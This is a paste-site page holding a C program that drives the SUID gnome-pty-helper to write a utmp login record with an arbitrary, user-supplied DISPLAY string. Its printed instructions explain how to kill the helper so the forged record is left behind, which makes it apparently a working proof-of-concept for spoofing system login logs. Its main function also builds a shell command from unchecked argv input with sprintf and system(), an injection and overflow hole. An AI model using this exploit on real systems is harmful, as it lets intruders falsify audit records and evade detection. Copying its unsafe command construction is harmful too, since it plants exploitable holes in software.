Facebook
From Gray Goose, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 67
  1. /*
  2.     Must be compiled against (within)
  3.  gnome-libs-1.4.2/zvt
  4.     because it uses *.h files from there.
  5.     Code "stolen" from subshell.c .
  6. */
  7.  
  8. #include <sys/types.h>
  9.  
  10. #include "subshell-includes.h"
  11. #define ZVT_TERM_DO_UTMP_LOG 1
  12. #define ZVT_TERM_DO_WTMP_LOG 2
  13. #define ZVT_TERM_DO_LASTLOG 4
  14.  
  15. /* Pid of the helper SUID process */
  16. static pid_t helper_pid;
  17.  
  18. /* The socketpair used for the protocol */
  19. int helper_socket_protocol [2];
  20.  
  21. /* The parallel socketpair used to transfer file descriptors */
  22. int helper_socket_fdpassing [2];
  23.  
  24. #include <sys/socket.h>
  25. #include <sys/uio.h>
  26.  
  27. static struct cmsghdr *cmptr;
  28. #define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int)
  29.  
  30. static int
  31. receive_fd (int helper_fd)
  32. {
  33.  struct iovec iov [1];
  34.  struct msghdr msg;
  35.  char buf [32];
  36.  
  37.  iov [0].iov_base = buf;
  38.  iov [0].iov_len = sizeof (buf);
  39.  msg.msg_iov = iov;
  40.  msg.msg_iovlen = 1;
  41.  msg.msg_name = NULL;
  42.  msg.msg_namelen = 0;
  43.  
  44.  if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
  45.   return -1;
  46.  msg.msg_control = (caddr_t) cmptr;
  47.  msg.msg_controllen = CONTROLLEN;
  48.  
  49.  if (recvmsg (helper_fd, &msg, 0) <= 0)
  50.   return -1;
  51.  
  52.  return *(int *) CMSG_DATA (cmptr);
  53. }
  54.  
  55. static int
  56. s_pipe (int fd [2])
  57. {
  58.  return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
  59. }
  60.  
  61. static void *
  62. get_ptys (int *master, int *slave, int update_wutmp)
  63. {
  64.  GnomePtyOps op;
  65.  int result, n;
  66.  void *tag;
  67.  
  68.  if (helper_pid == -1)
  69.   return NULL;
  70.  
  71.  if (helper_pid == 0){
  72.   if (s_pipe (helper_socket_protocol) == -1)
  73.    return NULL;
  74.  
  75.   if (s_pipe (helper_socket_fdpassing) == -1){
  76.    close (helper_socket_protocol [0]);
  77.    close (helper_socket_protocol [1]);
  78.    return NULL;
  79.   }
  80.  
  81.   helper_pid = fork ();
  82.  
  83.   if (helper_pid == -1){
  84.    close (helper_socket_protocol [0]);
  85.    close (helper_socket_protocol [1]);
  86.    close (helper_socket_fdpassing [0]);
  87.    close (helper_socket_fdpassing [1]);
  88.    return NULL;
  89.   }
  90.  
  91.   if (helper_pid == 0){
  92.    close (0);
  93.    close (1);
  94.    dup2 (helper_socket_protocol [1], 0);
  95.    dup2 (helper_socket_fdpassing [1], 1);
  96.  
  97.    /* Close aliases */
  98.    close (helper_socket_protocol [0]);
  99.    close (helper_socket_protocol [1]);
  100.    close (helper_socket_fdpassing [0]);
  101.    close (helper_socket_fdpassing [1]);
  102.  
  103.    execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
  104.    exit (1);
  105.   } else {
  106.    close (helper_socket_fdpassing [1]);
  107.    close (helper_socket_protocol [1]);
  108.  
  109.    /*
  110.     * Set the close-on-exec flag for the other
  111.     * descriptors, these should never propagate
  112.     * (otherwise gnome-pty-heler wont notice when
  113.     * this process is killed).
  114.     */
  115.    fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
  116.    fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
  117.   }
  118.  }
  119.  op = GNOME_PTY_OPEN_NO_DB_UPDATE;
  120.  
  121.  if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
  122.   if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
  123.    op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
  124.   else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
  125.    op = GNOME_PTY_OPEN_PTY_UWTMP;
  126.   else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
  127.    op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
  128.   else
  129.    op = GNOME_PTY_OPEN_PTY_UTMP;
  130.  } else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
  131.   if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
  132.    op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
  133.   else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
  134.    op = GNOME_PTY_OPEN_PTY_WTMP;
  135.  } else
  136.   if (update_wutmp & ZVT_TERM_DO_LASTLOG)
  137.    op = GNOME_PTY_OPEN_PTY_LASTLOG;
  138.  
  139.  if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
  140.   return NULL;
  141.  
  142.  n = read (helper_socket_protocol [0], &result, sizeof (result));
  143.  if (n == -1 || n != sizeof (result)){
  144.   helper_pid = 0;
  145.   return NULL;
  146.  }
  147.  
  148.  if (result == 0)
  149.   return NULL;
  150.  
  151.  n = read (helper_socket_protocol [0], &tag, sizeof (tag));
  152.  
  153.  if (n == -1 || n != sizeof (tag)){
  154.   helper_pid = 0;
  155.   return NULL;
  156.  }
  157.  
  158.  *master = receive_fd (helper_socket_fdpassing [0]);
  159.  *slave = receive_fd (helper_socket_fdpassing [0]);
  160.  
  161.  return tag;
  162. }
  163.  
  164. int main (int argc, char* argv[])
  165. {
  166.  int slave_pty, master_pty;
  167.  void* mytag;
  168.  int log = ZVT_TERM_DO_UTMP_LOG;
  169.  char buf[1000];
  170.  
  171. printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
  172. setenv("DISPLAY",argv[1],1);
  173.  
  174.  if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
  175.   return;
  176.  
  177. sprintf(buf,"who | grep %s",argv[1]);
  178. printf("Running %s\n",buf);
  179. system(buf);
  180. printf("utmp (who) record will be cleaned up when we exit.\n");
  181. printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);
  182.  
  183. printf("Sleeping for 5 secs...\n");
  184. sleep (5);
  185. }